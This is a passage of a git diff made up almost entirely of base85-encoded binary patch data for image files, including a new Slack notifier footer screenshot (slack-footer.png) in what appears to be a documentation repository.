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
OKCR5{%xX>kjQ<A%XBRjC

literal 0
HcmV?d00001

diff --git a/_images/notifier/slack/slack-footer.png b/_images/notifier/slack/slack-footer.png
new file mode 100644
index 0000000000000000000000000000000000000000..a53952c78f64bd3a981527c94fc9375420c226b4
GIT binary patch
literal 16064
zcmcJ$WmJ{j7d`qQNOvmTAt2I7gLHR?ba%IuG)R|pgMf5{(%qdRf;7?%cfY^?{dmW?
z<9@hj91dr|IZy1p*IIMUId_DTf+QL;Au<F(Xwp(*Di8$I2;O%fz5uUED-%lK7m}lt
zwhIKI_x|?-lgx-t1VQAGw3vvR=hve(4`JK^QiOjS2B8JS9l_I?(?|I#xL8D2*;*!Y
za@_K&z8T;R6DuL#)jB4_n_PPQR*oXs69nRg>qjSVO2<JM{D0S8f*mVtd>)^x>-gH(
zL*mQclg|>GQ1x`@|8CNc$~G5%_Rq-3pjZ&ya2Hq7HGMvvS$CIL@-W*s&bKI|!iqoR
zA}{Qk39tPY85C0D@Xa_ff69_Fe)lq2F;9saJL1spWWB@H&6QWXxV(ILlH$YRp=|>P
zCroa6D=#zi<NQ(D=g*%NQdY4Oe=4b{ly5t>Hfj;ZNaSJGHen+zZ3m#p!S}4Jpg@#W
zh6IQqB#dxW*lu6`PE)j|v>FF$t;4^lfuN-1<dM4JI2IuqESW!cw>wzSv}MVZC9FW$
zT1+f<gxGYBW=niEA}6Q1A(?|D0s=F$JaVY>U;D#|#FG2#^IbD@b0hnz!a@$Wv%=x>
z@&j&r_gqH;ixP%JSO#1fdwT;330mm{^J3bbFf<Zg)5)?Ki^K%g*55eozYY!rTnE4C
zKOc{eu<RzhaC39p8O^pbx0Yy^k|LKL9GT#AzVP(&5>F+53Ef?v{N)}dfcE$I?bl-W
zv?yN1mj;W88tI!=YR!88lSXv@z6`-9JGHS%P#+Eo{nBW3e}qT<R$di}it(4zxd<gW
zNxR3-uYsfCcwpTxA$~p3xM)-Ag(oWU4G&d8W2=t7ygoH{4JW6--E~~EJ6Z;u<v?>Y
zk75?_AORxVH2XOUGND)daHI@0IX^$Yu%N1;Q9NUHcjv7}*Z>=f5dB(Udg1SQ*5WzA
z+q0K1mYiu5U-LLU1l^M9p`djUI#=S%Im9Yh&@(dnwO<tccgtfVC%%EIC2}f8WyAvR
z?RkNWx~2Kugh$-g!+)fo50}?&KS<5Z&Po}oX)d@nV@6BOieM+eK}b{la`bSal3eIY
z2SS|_JQRvI^bD1szp2;%+oY1LeD<qM??i{bwh*_T-Jk69G+6H+Zp=HR@w?+fe^NDk
zpSQ{f-}P1PO4lidN=J&B+S{LEPHg7=Og(pYLHtCK-E*=QWuZdDK{)k;j`wQ<EW%Ze
zpxgdYT3S@<TW-FVMB0T5D^;)}8&6i}0=t=+nSDDt;&OQ0xUUTA)O`h?Zz5D*zEmuc
